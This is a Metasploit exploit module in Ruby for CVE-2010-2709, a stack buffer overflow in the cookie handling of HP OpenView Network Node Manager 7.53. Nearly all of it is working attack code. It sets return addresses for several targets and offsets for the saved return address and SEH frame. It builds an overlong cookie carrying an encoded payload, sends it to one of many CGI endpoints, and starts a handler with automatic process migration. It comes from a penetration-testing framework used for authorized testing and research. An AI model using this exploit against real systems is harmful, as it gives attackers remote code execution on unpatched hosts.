##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/OpenView.exe', :pattern => /Hewlett-Packard Development Company/ }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",
        'Description' => %q{
          This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.
          By sending a request containing a cookie longer than 5120 bytes, an attacker can overflow
          a stack buffer and execute arbitrary code.

          The vulnerable code is within the OvWwwDebug function. The static-sized stack buffer is
          declared within this function. When the vulnerability is triggered, the stack trace looks
          like the following:

          #0 ...
          #1 sprintf_new(local_stack_buf, fmt, cookie);
          #2 OvWwwDebug("   HTTP_COOKIE=%s\n", cookie);
          #3 ?OvWwwInit@@YAXAAHQAPADPBD@Z(x, x, x);
          #4 sub_405ee0("nnm", "webappmon");

          No validation is done on the cookie argument. There are no stack cookies, so exploitation
          is easily achieved by overwriting the saved return address or SEH frame.

          The original advisory detailed an attack vector using the "OvJavaLocale" cookie being
          passed in a request to "webappmon.exe". Further research shows that several different
          cookie values, as well as several different CGI applications, can be used.
          '
        },
        'License'	=> MSF_LICENSE,
        'Author' => [
          'Nahuel Riva',
          'sinn3r',
          'jduck'
        ],
        'References' => [
          [ 'CVE', '2010-2709' ],
          [ 'OSVDB', '66932' ],
          [ 'BID', '42154' ],
          [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02446520' ],
          [ 'URL', 'http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow' ]
        ],
        'Payload' => {
          'Space' => 1024, # 5120 buffer?
          'BadChars' => (0..0x1f).to_a.pack('C*'),
          'DisableNops' => true,
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
              {
                'BufferRegister' => 'ESP'
              },
        },
        'DefaultOptions' => {
          'EXITFUNC' => "seh",
          "InitialAutoRunScript" => "post/windows/manage/priv_migrate",
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'HP OpenView Network Node Manager 7.53',
            {
              'Ret' => 0x5a212a4a # jmp esp in ov.dll (2004-10-05, 294,967 bytes)
            }
          ],
          [
            'HP OpenView Network Node Manager 7.53 (Windows 2003)',
            {
              'Ret' => 0x71c02b67 # push esp / ret in ws2_32.dll v5.2.3790.3959
            }
          ],
          [
            'Debug Target',
            {
              # 'Ret' => 0x5a30575b # int3 in ovwww.dll (2007-09-18, 106,558 bytes)
              'Ret' => 0x71c0782c # int3 in ws2_32.dll v5.2.3790.3959
            }
          ]
        ],
        'Privileged'	=> false,
        'DisclosureDate' => '2010-08-03',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('COOKIE', [ false, "The Cookie name to use", nil ]),
        OptString.new('CGI', [ false, "The CGI to use", nil ])
      ]
    )
  end

  def exploit
    print_status("Trying target #{target.name}...")

    cookies = %w{
      OvJavaScript OvTitleFrame OvHelpWindow OvMap OvSession OvJavaLocale
      OvOSLocale OvLogin OvDebug OvDeveloper OvTreeControl OvJavaScript OvProduct
      OvPort OvLocale OvWebSession
    }
    # This triggers a heap overflow - OvAcceptLang  ;-)
    cookie = datastore['COOKIE'].dup if datastore['COOKIE']
    cookie ||= cookies[rand(cookies.length)]

    cgis = %w{
      Main/Snmp.exe getcvdata.exe getnnmdata.exe jovw.exe jovwreg.exe
      nnmRptConfig.exe nnmRptPresenter.exe OpenView5.exe OpenView.exe ovalarm.exe
      ovlaunch.exe ovlaunchreg.exe ovlogin.exe ovsessioninfo.exe ovsipexport.exe
      OvHelp.exe OvWebHelp.exe printsession.exe snmpviewer.exe Title.exe
      Toolbar.exe webappmon.exe
    }
    # These don't work: jovgraph.exe
    cgi = datastore['CGI'].dup if datastore['CGI']
    cgi ||= cgis[rand(cgis.length)]
    if cgi[0, 7] != '/OvCgi/'
      cgi = '/OvCgi/' + cgi
    end

    print_status("Using cookie: #{cookie} and cgi: #{cgi}")

    cookie << "="

    # sprintf_new(buf, "   HTTP_COOKIE=%s", bigstr);
    start = '   HTTP_COOKIE='
    start << cookie

    # Offsets from the start of the buffer:
    # ebp @ 5120
    # ret @ 5124
    # seh @ 7044

    buf = rand_text_alphanumeric(5124 - start.length)
    buf << [target.ret].pack('V')
    # buf << "\xcc"
    buf << payload.encoded

    cookie << buf
    cookie << ";"

    res = send_request_cgi({
      'uri'	=> cgi,
      'method'	=> "GET",
      'headers' =>
        {
          'Cookie' => cookie
        }
    }, 3)

    if res and res.code != 502
      print_error("Eek! We weren't expecting a response, but we got one")
    end

    handler
    disconnect
  end
end
